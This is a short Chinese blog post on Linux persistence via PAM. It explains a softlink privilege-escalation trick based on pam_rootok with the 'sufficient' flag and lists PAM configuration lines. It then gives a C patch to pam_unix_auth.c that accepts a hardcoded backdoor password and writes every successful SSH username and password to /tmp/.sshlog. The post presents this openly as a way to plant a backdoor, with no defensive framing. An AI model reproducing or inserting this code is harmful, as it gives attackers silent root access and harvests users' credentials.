PAM软连接提权

文章目录

概要

PAM软链接提权利用的原理主要依赖于PAM(可插拔认证模块)配置文件的特性。具体来说,它利用了以下几个关键点:

PAM认证机制:PAM允许系统管理员通过配置文件灵活地管理用户认证过程。在SSH服务中,如果启用了PAM认证,系统会在用户登录时调用PAM模块进行身份验证。

软链接的使用:攻击者可以创建一个指向sshd文件的软链接,并将其命名为su(或其他名称)。当SSH服务启动时,它会根据PAM配置文件查找对应的模块。

pam_rootok.so模块:pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

PAM配置文件的控制:在PAM配置文件中,如果控制标志设置为sufficient,那么只要pam_rootok模块检测到用户的UID为0(即root用户),就会允许认证成功。这意味着即使输入了错误的密码,只要满足UID为0的条件,用户就可以获得root权限。

绕过正常验证:通过这种方式,攻击者可以绕过正常的密码验证,利用软链接实现提权,从而获得对系统的控制。

PAM软连接

1.可以查看 /etc/ssh/sshd_config 文件的UsePAM设置。来确认是否开启PAM认证。

2.修改PAM配置文件

auth required pam_securetty.so//要求在安全终端上进行身份验证。

auth required pam_unix.so shadow nullok//使用Unix认证,允许空密码(但并不推荐)。

auth required pam_nologin.so//检查是否存在nologin文件,防止不允许的用户登录。

account required pam_unix.so//用于账户管理的Unix认证。

password required pam_cracklib.so retry=3//使用密码复杂性检查,允许用户最多重试3次。

password required pam_unix.so shadow nullok use_authtok//用于更新密码的Unix认证,允许空密码,使用先前的身份验证令牌。

session required pam_unix.so//处理用户会话的相关操作。

3.将PAM配置文件中控制标志为sufficient,更改pam_rootok模块检测uid为0(root)

也可以修改配置,创建后门

修改配置:Linux-PAM/modules/pam_unix/pam_unix_auth.c配置后门

复制代码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 
name = p = NULL;
相关推荐
Mr_愚人派4 小时前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
大树8820 小时前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠20 小时前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质20 小时前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
DaLi Yao21 小时前
【无标题】
人工智能·安全
Inhand陈工21 小时前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
Alsn8621 小时前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院1 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
酣大智1 天前
ARP代理--工作原理
运维·网络·arp·arp代理
treesforest1 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全